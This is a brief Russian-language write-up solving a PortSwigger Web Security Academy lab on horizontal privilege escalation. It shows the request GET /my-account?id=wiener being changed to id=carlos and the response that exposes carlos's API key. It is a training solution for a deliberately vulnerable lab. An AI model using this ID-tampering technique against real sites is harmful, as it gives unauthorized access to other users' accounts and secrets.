На странице
apsyleg1 мин
#portswigger #access-control #web-security

ID пользователя контролируется параметром запроса

Лаборатория

User ID controlled by request parameter · Apprentice

Решение

Дано

This lab has a horizontal privilege escalation vulnerability on the user account page.

To solve the lab, obtain the API key for the user carlos and submit it as the solution.

You can log in to your own account using the following credentials: wiener:peter

Анализ задания

Судя по всему, очень простая лаба. Нужно добыть API-ключ пользователя carlos. Для этого нужно просто поменять user id, передаваемый в роут.

Разведка

Логинимся под пользователем, смотрим запросы:

GET /my-account?id=wiener

Тут есть API-ключ. Меняем параметр на ?id=carlos:

GET /my-account?id=carlos
<div id=account-content>
    <p>Your username is: carlos</p>
    <div>Your API Key is: mxH4cyoguaAAuo3kCtqzv1ySjfORtagJ</div>

Лаба решена.